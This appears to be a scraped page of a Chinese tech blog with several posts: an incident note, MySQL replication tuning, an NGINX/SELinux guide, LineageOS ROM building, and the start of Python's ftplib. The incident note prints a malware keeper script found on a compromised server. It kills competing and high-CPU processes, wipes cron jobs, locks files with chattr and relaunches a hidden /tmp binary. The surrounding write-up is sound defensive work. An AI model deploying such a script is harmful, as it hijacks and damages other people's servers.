75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
while [ 1 ]
do
p=$(ps auxf|grep -v grep|grep sshd2|wc -l)
if [ ${p} -eq 0 ];
then
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
pkill 6Tx3Wq
rm -f /tmp/6Tx3Wq
killall -9 38c985b26d38da0cbcc9f8ae3527e8e3b
killall -9 /tmp/.sysinfo/*
rm -f /tmp/.sysinfo/*
chattr +i /tmp/.sysinfo
rm -f /var/spool/cron/root
rm -f /var/spool/cron/backup.db
rm -f /var/spool/cron/dump.rdb
rm -f /var/spool/cron/jw
rm -f /var/spool/cron/uo
rm -f /var/spool/cron/vf
rm -f /tmp/root
rm -f /tmp/backup.db
rm -f /tmp/dump.rdb
rm -f /tmp/root
rm -f /var/spool/cron/crontabs/root
rm -f /var/spool/cron/crontabs/dump.rdb
killall -9 kworkerds
chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/apache
chattr -i /etc/cron.d/0hourly
rm -f /etc/cron.d/root
rm -f /etc/cron.d/apache
rm -f /etc/cron.d/0hourly
rm -f /tmp/kworkerds
rm -f /var/tmp/kworkerds
rm -f /etc/cron.hourly/oanacroner
rm -f /etc/cron.hourly/oanacrona
rm -f /etc/cron.daily/oanacroner
rm -f /etc/cron.daily/oanacrona
rm -f /etc/cron.monthly/oanacroner
rm -f /usr/local/bin/dns
pkill .systemcero
pkill vTtHH
pkill -f /tmp/just4root
pkill -f /tmp/just4copy
pkill -f /tmp/dc_name
pkill x7
pkill cloudupdate
pkill diskmanagerd
pkill curl
pkill jspserv
pkill init
pkill sysupdate
pkill sysguard
pkill networkservice
pkill watchbog
rm -f /usr/share/watchbog/watchbog
rm -f /bin/httpsntp
rm -f /bin/ftpsntp
rm -f /tmp/.systemcero
rm -f /tmp/vTtHH
rm -f /usr/bin/.systemcero
rm -f /usr/bin/cloudupdate
rm -f /usr/bin/diskmanagerd
rm -f /lib/libterminfo.so
rm -f /tmp/config.json
rm -f /var/tmp/jspserv
rm -f /etc/update.sh
chattr -i /etc/sysupdate
rm -f /etc/sysupdate
rm -f /etc/config.json
echo >/tmp/6Tx3Wq
echo >/tmp/vTtHH
chattr +i /tmp/6Tx3Wq
chattr +i /tmp/vTtHH
p=$(ps auxf|grep sshd2|awk '{if($3>=70.0) print $2}')
name=""$p
if [ -z "$name" ]
then
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
nohup /tmp/javax/sshd2 &>>/dev/null &
else
:
fi
sleep 60
done

从脚本的删除动作来看,可能是通过redis的漏洞进来的,脚本似乎还想努力不让监控发现

修复方案
时间短,修复不是我来操作的。初步并没有发现隐藏的激活方式,所以按照上面脚本的内容反向处理一下应该就可以了,注意防范redis的漏洞。

线上一个mysql主备延迟很大,master节点写入频繁,slave节点积累大量relay-log无法即使写入。

参考:https://www.cnblogs.com/conanwang/p/6006444.html

  1. 为什么会出现大量relay-log
    首先这个需要从mysql的同步机制说起,同步–>半同步
    Master节点的数据库实例并发跑多个线程同时提交事务,提交的事务按照逻辑的时间(数据库LSN号)顺序地写入binary log日志,slave节点通过I/O线程写到本地的relay log日志,为了保证主备数据一致性,slave节点必须按照同样的顺序执行,如果顺序不一致容易造成主备库数据不一致的风险。但是slave节点只有SQL单线程来执行relay log中的日志信息重放主库提交得事务,造成主备数据库存在延迟

  2. 处理方法
    能物理处理的建议直接物理解决
    a. 磁盘使用SSD
    b. 磁盘组raid10
    c. 从文件系统层面/内核优化层面处理IO问题

mysql的处理方法
想方法让slave多线程执行relay log
MySQL 5.6版本引入并发复制(schema级别),基于schema级别的并发复制核心思想:“不同schema下的表并发提交时的数据不会相互影响,即slave节点可以用对relay log中不同的schema各分配一个类似SQL功能的线程,来重放relay log中主库已经提交的事务,保持数据与主库一致”。

MySQL 5.6基于schema级别的并发复制能够解决当业务数据的表放在不同的database库下,但是实际生产中往往大多数或者全部的业务数据表都放在同一个schema下,在这种场景即使slave_parallel_workers>0设置也无法并发执行relay log中记录的主库提交数据。 高并发的情况下,由于slave无法并发执行同个schema下的业务数据表,依然会造成主备延迟的情况。

MySQL 5.7 引入Enhanced Muti-threaded slaves,当slave配置slave_parallel_workers>0并且global.slave_parallel_type=‘LOGICAL_CLOCK’,可支持一个schema下,slave_parallel_workers个的worker线程并发执行relay log中主库提交的事务。但是要实现以上功能,需要在master机器标记binary log中的提交的事务哪些是可以并发执行,虽然MySQL 5.6已经引入了binary log group commit,但是没有将可以并发执行的事务标记出来。

MySQL 5.7 GA版本推出的 Enhanced Multi-threaded Slaves功能,彻底解决了之前版本主备数据复制延迟的问题,开启该功能参数如下:

1
2
3
4
5
6
7
# slave机器
slave-parallel-type=LOGICAL_CLOCK
slave-parallel-type=DATABASE #兼容MySQL 5.6基于schema级别的并发复制
slave-parallel-workers=4 #开启多线程复制
master_info_repository=TABLE
relay_log_info_repository=TABLE
relay_log_recovery=ON

被selinux坑了。抓包发现端口始终没有流量, 操作过程中还特地dmesg看了c并没发现selinux的异常。
https://www.nginx.com/blog/using-nginx-plus-with-selinux/
https://blog.csdn.net/aqzwss/article/details/51134591

When you upgrade a running system to Red Hat Enterprise Linux (RHEL) 6.6 or CentOS 6.6, the Security Enhanced Linux (SELinux) security permissions that apply to NGINX are relabelled to a much stricter posture. Although the permissions are adequate for the default configuration of NGINX, configuration for additional features can be blocked and you need to permit them explicitly in SELinux. This article describes the possible issues and recommended ways to resolve them.

[Editor: Oracle Linux was not supported at the time this article was originally published. Because it is based on RHEL, this article applies to it as well.]

Overview of SELinux

SELinux is enabled by default on RHEL and CentOS servers. Each operating system object (process, file descriptor, file, etc.) is associated with an SELinux context that defines the permissions and operations the object can perform. During an upgrade to RHEL 6.6 or CentOS 6.6, NGINX’s association is changed to the httpd_t context:

1
2
3
4
5
ps auZ | grep nginx
unconfined_u:system_r:httpd_t:s0 3234 ? Ss 0:00 nginx: master process \
/usr/sbin/nginx \
-c /etc/nginx/nginx.conf
unconfined_u:system_r:httpd_t:s0 3236 ? Ss 0:00 nginx: worker process

The httpd_t context permits NGINX to listen on common web server ports, to access configuration files in /etc/nginx, and to access content in the standard docroot location (/usr/share/nginx). It does not permit many other operations, such as proxying to upstream locations or communicating with other processes through sockets.

SELinux Modes

SELinux can be run in enforcing, permissive, or disabled mode. When you make a configuration change that might breach the current permissions, you can move SELinux from enforcing to permissive mode, on your test environment (if available) or on production. In permissive mode, SELinux permits all operations, but logs operations that would have breached the security policy in enforcing mode.

To add httpd_t to the list of permissive domains, run this command:

1
# semanage permissive -a httpd_t

To delete httpd_t from the list of permissive domains, run:

1
# semanage permissive -d httpd_t

To set the mode globally to permissive, run:

1
# setenforce 0

To set the mode globally to enforcing, run:

1
# setenforce 1

Checking for SELinux Exceptions

In permissive mode, security exceptions are logged to /var/log/audit/audit.log. If you encounter a problem that occurs only when NGINX is in enforcing mode, review the exceptions that are logged inpermissive mode and update the security policy to permit them.

Example 1: Proxy Connection is Forbidden

By default, the SELinux configuration does not allow NGINX to connect to a remote web, fastCGI, or other server, as indicated by an audit log message like the following:

1
2
3
4
5
6
7
8
type=AVC msg=audit(1415714880.156:29): avc:  denied  { name_connect } for  pid=1349 \
comm="nginx" dest=8080 scontext=unconfined_u:system_r:httpd_t:s0 \
tcontext=system_u:object_r:http_cache_port_t:s0 tclass=tcp_socket
type=SYSCALL msg=audit(1415714880.156:29): arch=c000003e syscall=42 success=no \
exit=-115 a0=b \a1=16125f8 a2=10 a3=7fffc2bab440 items=0 ppid=1347 pid=1349 \
auid=1000 uid=497 gid=496 euid=497 suid=497 fsuid=497 egid=496 sgid=496 fsgid=496 \
tty=(none) ses=1 comm="nginx" exe="/usr/sbin/nginx" \
subj=unconfined_u:system_r:httpd_t:s0 key=(null)

To interpret the message code (1415714880.156:29), run the audit2why command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# grep 1415714880.156:29 /var/log/audit/audit.log | audit2why
type=AVC msg=audit(1415714880.156:29): avc: denied { name_connect } for pid=1349 \
comm="nginx" dest=8080 scontext=unconfined_u:system_r:httpd_t:s0 \
tcontext=system_u:object_r:http_cache_port_t:s0 tclass=tcp_socket

Was caused by:
One of the following booleans was set incorrectly.
Description:
Allow httpd to act as a relay

Allow access by executing:
# setsebool -P httpd_can_network_relay 1
Description:
Allow HTTPD scripts and modules to connect to the network using TCP.

Allow access by executing:
# setsebool -P httpd_can_network_connect 1

The output from audit2why recommends setting one or more Boolean options. To permit the proxy connect operation, you can enable these Boolean options, either temporarily or permanently (add the -Poption).

Understanding Boolean Options

If you install the setools package (yum install setools), you can run the sesearch command to get more information about the Boolean options. Here we present examples for the httpd_can_network_relay andhttpd_can_network_connect options.

The httpd_can_network_relay Boolean Option

1
2
3
4
5
6
7
8
9
10
11
12
# sesearch -A -s httpd_t -b httpd_can_network_relay
Found 10 semantic av rules:
allow httpd_t gopher_port_t : tcp_socket name_connect ;
allow httpd_t http_cache_client_packet_t : packet { send recv } ;
allow httpd_t ftp_port_t : tcp_socket name_connect ;
allow httpd_t ftp_client_packet_t : packet { send recv } ;
allow httpd_t http_client_packet_t : packet { send recv } ;
allow httpd_t squid_port_t : tcp_socket name_connect ;
allow httpd_t http_cache_port_t : tcp_socket name_connect ;
allow httpd_t http_port_t : tcp_socket name_connect ;
allow httpd_t gopher_client_packet_t : packet { send recv } ;
allow httpd_t memcache_port_t : tcp_socket name_connect ;

This output indicates that httpd_can_network_relay permits connection to ports of various types, including type http_port_t:

1
2
# semanage port -l | grep http_port_t
http_port_t tcp 80, 81, 443, 488, 8008, 8009, 8443, 9000

To add more ports to the set (in this case, 8082), run:

1
# semanage port -a -t http_port_t -p tcp 8082

If a message indicates that a port is already defined, as in the following example, it means the port is included in another set. Do not reassign it, because other services might be negatively affected.

1
2
3
4
# semanage port -a -t http_port_t -p tcp 8080
/usr/sbin/semanage: Port tcp/8080 already defined
# semanage port -l | grep 8080
http_cache_port_t tcp 3128, 8080, 8118, 8123, 10001-10010

The httpd_can_network_connect Boolean Option

1
2
3
# sesearch -A -s httpd_t -b httpd_can_network_connect
Found 1 semantic av rules:
allow httpd_t port_type : tcp_socket name_connect ;

The httpd_can_network_connect option allows httpd_t to connect to all TCP socket types that have theport_type attribute. To list them, run:

1
# seinfo -aport_type -x

Example 2: File Access is Forbidden

By default, the SELinux configuration does not allow NGINX to access files outside of well-known authorized locations, as indicated by an audit log message like the following:

1
2
3
4
type=AVC msg=audit(1415715270.766:31): avc:  denied  { getattr } for  pid=1380 \
comm="nginx" path="/www/t.txt" dev=vda1 ino=1084 \
scontext=unconfined_u:system_r:httpd_t:s0 \
tcontext=unconfined_u:object_r:default_t:s0 tclass=file

To interpret the message code (1415715270.766:31), run the audit2why command:

1
2
3
4
5
6
7
8
9
10
# grep 1415715270.766:31 /var/log/audit/audit.log | audit2why
type=AVC msg=audit(1415715270.766:31): avc: denied { getattr } for pid=1380 \
comm="nginx" path="/www/t.txt" dev=vda1 ino=1084 \
scontext=unconfined_u:system_r:httpd_t:s0 \
tcontext=unconfined_u:object_r:default_t:s0 tclass=file

Was caused by:
Missing type enforcement (TE) allow rule.

You can use audit2allow to generate a loadable module to allow this access.

When file access is forbidden, you have two options.

Option 1: Modify the File Label

Modify the file label so that the httpd_t domain can access the file:

1
# chcon -v --type=httpd_sys_content_t /www/t.txt

By default, this modification is deleted when the file system is relabelled. To make the change permanent, run:

1
2
# semanage fcontext -a -t httpd_sys_content_t /www/t.txt
# restorecon -v /www/t.txt

To modify file labels for groups of files, run:

1
2
# semanage fcontext -a -t httpd_sys_content_t /www(/.*)?
# restorecon -Rv /www

Option 2: Extend the httpd_t Domain Permissions

Extend the httpd_t policy to allow access to additional file locations:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# grep nginx /var/log/audit/audit.log | audit2allow -m nginx > nginx.te
# cat nginx.te

module nginx 1.0;

require {
type httpd_t;
type default_t;
type http_cache_port_t;
class tcp_socket name_connect;
class file { read getattr open };
}

#============= httpd_t ==============
allow httpd_t default_t:file { read getattr open };

#!!!! This avc can be allowed using one of the these booleans:
# httpd_can_network_relay, httpd_can_network_connect
allow httpd_t http_cache_port_t:tcp_socket name_connect;

To create a compiled policy, include the -M option:

1
# grep nginx /var/log/audit/audit.log | audit2allow -M nginx

To load the policy, run semodule -i, then verify success with semodule -l:

1
2
3
# semodule -i nginx.pp
# semodule -l | grep nginx
nginx 1.0

This change persists across reboots.

Additional Resources

SELinux is a complex and powerful facility for managing operating system permissions. Additional information is available at the following locations.

SELinux Documentation (United States National Security Agency)
Security-Enhanced Linux User Guide (Fedora project)
Security-Enhanced Linux User Guide (Red Hat)
SELinux project home page
SELinux How-to (CentOS)

lineageos 2 – 编译rom包

fu*k小米,手机老是1年左右出现充不进去电。前段时间我的红米note4x突然充不进去电了,只好新买了个手机(买手机先看lineageos支持列表 ^_^),心仪的pixel,和一加都感觉有点贵了,信仰尚不能支撑我购买,退而求其次选了红米note5

fu*k小米,之前买note4x的时候解锁bootloader只需要手机上登录小米账号72小时,现在解锁居然要720小时,买来手机静置30天,总算是到期了,立即刷入lineageos。

解释下静置30天,因为我搜索发现充不进去电可能是尾板坏了,在万能的某宝上买了个尾板,到货后徒手拆后盖(后盖真的很好拆),在拆下旧尾板时将连接尾板和主板的一根线弄坏了(发现是信号天线,实验除sim卡插入后无信号外其他功能均正常),立刻下单个天线,换上新的尾板,测试功能正常(想起之前换note4x也是因为note2充不进去电,可惜note2现在丢了,不然估计还可以抢救下),后面换上天线,一切正常,就不需要note5了,索性放上了30天。

lineageos 15.1即android 8.1对note5是支持的,刷入完全没有问题。因为两个手机了,坏一个也不怕了,索性就来尝试下lineageos16。现在lineageos16官方尚未对note5支持,想要体验只能下载非官方rom。不如我就自己编译个rom吧

首先
网上资料感觉真的很少(可能是我搜索关键字的问题),搜索结果大多是和我上篇说明的一样,都是按照官方说明文档来。总算在一个不起眼的地方看到一篇不错的文章(排版是真的乱啊) https://forum.xda-developers.com/android/software/guide-to-to-build-android-scratch-t3862893
按照这篇文章的意思,编译lineageos非官方的包,需要提供Device treeKernel SourceVendor Blobs三个部分,下面是这些以及一般的命名规则

  1. Device tree - android_device_(vendorname)_(devicecodename)
  2. Kernel Source - android_kernel_(vendorname)(devicecodename) or! android_kernel(vendorname)_(soccodename)
  3. Vendor Blobs - proprietary_vendor_(vendorname) or, proprietary_vendor_(vendorname)_(devicecodename)

可以按照对应的命名规则在github上搜索

幸运的是,偶然发现微博上乖奕虎适配了很多rom,并且微博主页上有github上的个人博客地址,在他的github上我需要的三个组件都有支持lineagos16,省去四处搜索了

1
2
3
https://github.com/GuaiYiHu/android_device_xiaomi_whyred
https://github.com/GuaiYiHu/android_kernel_xiaomi_whyred
https://github.com/GuaiYiHu/android_vendor_xiaomi_whyred

这里说下lineageos的一般命名,只需要将下划线替换成目录分隔符即可。
比如: android_device_xiaomi_whyred 对应的目录就是 android/device/xiaomi/whyred

下载这三个到对应目录,开始编译
报错了,报错类似这样

1
2
3
4
5
6
7
8
DeviceSettings_intermediates/aapt2-flat-overlay-list \\@/home/ctaylor/android/lineage/out/target/product/pme/obj/APPS/DeviceSettings_intermediates/aapt2-flat-list )"
device/htc/pme/devicesettings/res/values/arrays.xml:20: error: resource string/action_none (aka org.lineageos.settings.device:string/action_none) not found.
device/htc/pme/devicesettings/res/values/arrays.xml:21: error: resource string/action_launch_camera (aka org.lineageos.settings.device:string/action_launch_camera) not found.
device/htc/pme/devicesettings/res/values/arrays.xml:22: error: resource string/action_torch (aka org.lineageos.settings.device:string/action_torch) not found.
device/htc/pme/devicesettings/res/values/styles.xml:38: error: resource layout/preference_category_material_settings (aka org.lineageos.settings.device:layout/preference_category_material_settings) not found.
device/htc/pme/devicesettings/res/values/styles.xml:49: error: resource layout/preference_material_settings (aka org.lineageos.settings.device:layout/preference_material_settings) not found.
error: failed linking references.
[ 53% 49219/91244] AAPT2 compile /home/ctaylor/android/lineage/out/target/product/pme/obj/APPS/Dialer_intermediates/flat-res/frameworks/support/v7/appcompat/res/values-nb_strings.arsc.flat <- frameworks/support/v7/

搜索后在这里找到答案 https://forum.xda-developers.com/showpost.php?p=77073908&postcount=103

后来发现lineageos的依赖是写在文件里面的(https://github.com/LineageOS/hudson/blob/master/updater/device_deps.json),编译官方支持rom时会自动按照文件下载依赖,比如note5的记录如下(还得理清lineageos编译流程啊)

1
2
3
4
5
"whyred": [
"android_device_xiaomi_whyred",
"android_kernel_xiaomi_sdm660",
"android_packages_resources_devicesettings"
]

这样会下载device和kernel,因为按照官方编译说明,vender是需要在手机上提取或者在已有rom包提取,这样上面的三个都有了,还多了个 android_packages_resources_devicesettings 这正是上面回答需要的,下载后按照文件名对应到目录路径即可,重新编译,顺利完成

安装
安装的时候也有很多坑,在上篇里面安装也是一大坑。
刷入上面编译好的安装包后,启动到开机认证的页面就会自动重启到recovery
搜索资料,这是手机加密照成的问题 https://forum.xda-developers.com/showpost.php?p=71485684&postcount=5
TWPR里面格式化数据,重新刷入即可

这里再说下device,kernel,vender吧
以kernel来说,lineageos官方每周(现在每晚)会更新官方支持的手机的rom,可是这些rom的内核版本却很少有大的变动
手机厂商开源出来的内核版本,第三方适配的rom基本一直会保持这个大版本不动。
不像openwrt那样基本是紧跟内核主线走,android的内核与linux的内核还是有很多地方需要修改的,也就是说很多android代码并没有合并到内核主线里面
照成升级内核版本实在是有太多工作需要处理,很多代码需要合并,并且需要解决编译问题。device是设备相关,各设备正常工作必不可少;vender这个目前一般都是在厂商已有的rom里面提取
这里对做这些工作的大佬表示敬意,感谢有你们啊

fu*k小米,以后买手机似乎只有一加和pixel可选了(nokia好像也可以啊)。

lineageos 前奏 – 搭建编译环境

我目前使用的手机是红米note4x 目前lineageos15.1已经官方支持,下文是按照官网文档编译安装包操作总结

构建环境搭建主要参考官方文档
参考文档: https://wiki.lineageos.org/devices/mido/build

下面对主要步骤进行简单说明(以ubuntu为例)

依赖软件包 (ubuntu16.04测试官网给出的列表完整)

1
bc bison build-essential ccache curl flex g++-multilib gcc-multilib git gnupg gperf imagemagick lib32ncurses5-dev lib32readline-dev lib32z1-dev liblz4-tool libncurses5-dev libsdl1.2-dev libssl-dev libwxgtk3.0-dev libxml2 libxml2-utils lzop pngcrush rsync schedtool squashfs-tools xsltproc zip zlib1g-dev

低于ubuntu16.04需要将libwxgtk3.0-dev 换成 libwxgtk2.8-dev

java环境

官网给出的说明

1
2
LineageOS 14.1-15.1: OpenJDK 1.8 (install openjdk-8-jdk)
LineageOS 11.0-13.0: OpenJDK 1.7 (install openjdk-7-jdk)*

ubuntu16.04默认java是jdk8, 所以直接apt-get install openjdk-default-jdk 或者 apt-get install openjdk-8-jdk
对于ubuntu14.04默认软件仓库jdk最高只有jdk7,不足以编译lineageos14.1-15.1
这里推荐android官网的解决方案https://source.android.com/setup/build/initializing#installing-the-jdk
直接下载三个对应的debian包进行安装(不必另外添加ppa源对有洁癖的人来说总是好事),这里的jdk版本比较老了,当然也可以直接从oracle官网下载安装(建议还是直接ubuntu16.04,免除不必要的麻烦)

openjdk-8-jre-headless_8u45-b14-1_amd64.deb with SHA256 0f5aba8db39088283b51e00054813063173a4d8809f70033976f83e214ab56c0
openjdk-8-jre_8u45-b14-1_amd64.deb with SHA256 9ef76c4562d39432b69baf6c18f199707c5c56a5b4566847df908b7d74e15849
openjdk-8-jdk_8u45-b14-1_amd64.deb with SHA256 6e47215cf6205aa829e6a0a64985075bd29d1f428a4006a80c9db371c2fc3c4c

安装repo和同步源码仓库

这个没什么好说的,建议开个vps直接编译,这里顺便说下我开了一个6核12G内存的机器编译大概花了4个小时完成,设置了30G的ccache,硬盘最好在200G左右,我第一次设置150G造成硬盘用尽
真的想自己机器编译的或者类似情况的可以考虑使用清华大学或者中科大的源进行加速
这是帮助文档 https://mirrors.tuna.tsinghua.edu.cn/help/lineageOS/

提取设备专有内容

可能像pixel这些设备不需要吧 Some devices require a vendor directory to be populated before breakfast will succeed
对于红米note4x是需要的,因为在vps上编译所以采用下载已有zip包并解包的方式,操作参考 https://wiki.lineageos.org/extracting_blobs_from_zips.html
在这里有个地方需要注意,google在lineageos15.1里面的system.transfer.dat已经改成用brotli压缩了,执行unzip -l path/to/lineage-*.zip你将发现对应的文件是system.transfer.dat.br
所以需要使用brotli先进行解压,解压工具下载地址 https://android.googlesource.com/platform/external/brotli/
brotli官网提供了好几种安装方式,这里采用Autotools-style CMake的方式(cmake不在上面的必须软件列表里面,这里需要单独安装),当然也可以尝试直接用python的pip安装

1
2
3
4
5
$ mkdir out && cd out
$ ../configure-cmake
$ make
$ make test
$ make install

安装完brotli解压工具后,使用 brotli -d system.new.dat.br -o system.new.dat进行解压即可

另外对于上面的内容还有个问题需要说明
这步操作的时候sudo mount system.img system/可以先检测system.img是不是有问题 file system.img看返回是否正常,如果只是简单的data文件,那么上一步的解压可能存在问题
挂载好system.img后还有个问题,挂载目录下面的vendor是个链接文件,指向 /vendor, 看lineageos官网的介绍好像主要是复制vendor里面的内容,而system.img里面并没有这个文件,查看zip包内容unzip -l path/to/lineage-*.zip会发现有个 vendor.new.dat.dr文件,猜测这个就是我们需要的文件,按照上面操作 system.new.dat.dr 文件的步骤再次执行,并挂载到 /vendor 目录即可,后面运行正常无报错

最后

后面就没有什么问题了,等了4个小时,提取 out/target/product 里面的生成文件就可以了
还有个小问题,手机刷入安装包的时候在twrp里面一直找不到zip包,无法挂载手机data分区
最后无奈,将data分区重新格式化,利用adb将zip安装包上传上去,重新刷入

这里有经验的小伙伴可能看出问题了, 是的我格式化了data分区,手机所有数据已丢失 (手动滑稽)
如果你哪天发现我电话打不通,即时聊天软件长时间无回应,那么我可能正在努力修手机中

番外

这里基本都是遵循官网给出的文档进行操作,没有做任何个人修改。后期有时间我将进一步整理lineageos的内容
未完。。。待续。。等。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
"""An FTP client class and some helper functions.

Based on RFC 959: File Transfer Protocol (FTP), by J. Postel and J. Reynolds

Example:

>>> from ftplib import FTP
>>> ftp = FTP('ftp.python.org') # connect to host, default port
>>> ftp.login() # default, i.e.: user anonymous, passwd anonymous@
'230 Guest login ok, access restrictions apply.'
>>> ftp.retrlines('LIST') # list directory contents
total 9
drwxr-xr-x 8 root wheel 1024 Jan 3 1994 .
drwxr-xr-x 8 root wheel 1024 Jan 3 1994 ..
drwxr-xr-x 2 root wheel 1024 Jan 3 1994 bin
drwxr-xr-x 2 root wheel 1024 Jan 3 1994 etc
d-wxrwxr-x 2 ftp wheel 1024 Sep 5 13:43 incoming
drwxr-xr-x 2 root wheel 1024 Nov 17 1993 lib
drwxr-xr-x 6 1094 wheel 1024 Sep 13 19:07 pub
drwxr-xr-x 3 root wheel 1024 Jan 3 1994 usr
-rw-r--r-- 1 root root 312 Aug 1 1994 welcome.msg
'226 Transfer complete.'
>>> ftp.quit()
'221 Goodbye.'
>>>

A nice test that reveals some of the network dialogue would be:
python ftplib.py -d localhost -l -p -l
"""

#
# Changes and improvements suggested by Steve Majewski.
# Modified by Jack to work on the mac.
# Modified by Siebren to support docstrings and PASV.
# Modified by Phil Schwartz to add storbinary and storlines callbacks.
# Modified by Giampaolo Rodola' to add TLS support.
#

import os
import sys

# Import SOCKS module if it exists, else standard socket module socket
try:
import SOCKS; socket = SOCKS; del SOCKS # import SOCKS as socket
from socket import getfqdn; socket.getfqdn = getfqdn; del getfqdn
except ImportError:
import socket
from socket import _GLOBAL_DEFAULT_TIMEOUT

__all__ = ["FTP","Netrc"]

# Magic number from <socket.h>
MSG_OOB = 0x1 # Process data out of band


# The standard FTP server control port
FTP_PORT = 21
# The sizehint parameter passed to readline() calls
MAXLINE = 8192


# Exception raised when an error or invalid response is received
class Error(Exception): pass
class error_reply(Error): pass # unexpected [123]xx reply
class error_temp(Error): pass # 4xx errors
class error_perm(Error): pass # 5xx errors
class error_proto(Error): pass # response does not begin with [1-5]


# All exceptions (hopefully) that may be raised here and that aren't
# (always) programming errors on our side
all_errors = (Error, IOError, EOFError)


# Line terminators (we always output CRLF, but accept any of CRLF, CR, LF)
CRLF = '\r\n'

# The class itself
class FTP:

'''An FTP client class.

To create a connection, call the class using these arguments:
host, user, passwd, acct, timeout

The first four arguments are all strings, and have default value ''.
timeout must be numeric and defaults to None if not passed,
meaning that no timeout will be set on any ftp socket(s)
If a timeout is passed, then this is now the default timeout for all ftp
socket operations for this instance.

Then use self.connect() with optional host and port argument.

To download a file, use ftp.retrlines('RETR ' + filename),
or ftp.retrbinary() with slightly different arguments.
To upload a file, use ftp.storlines() or ftp.storbinary(),
which have an open file as argument (see their definitions
below for details).
The download/upload functions first issue appropriate TYPE
and PORT or PASV commands.
'''

debugging = 0
host = ''
port = FTP_PORT
maxline = MAXLINE
sock = None
file = None
welcome = None
passiveserver = 1

# Initialization method (called by class instantiation).
# Initialize host to localhost, port to standard ftp port
# Optional arguments are host (for connect()),
# and user, passwd, acct (for login())
def __init__(self, host='', user='', passwd='', acct='',
timeout=_GLOBAL_DEFAULT_TIMEOUT):
self.timeout = timeout
if host:
self.connect(host)
if user:
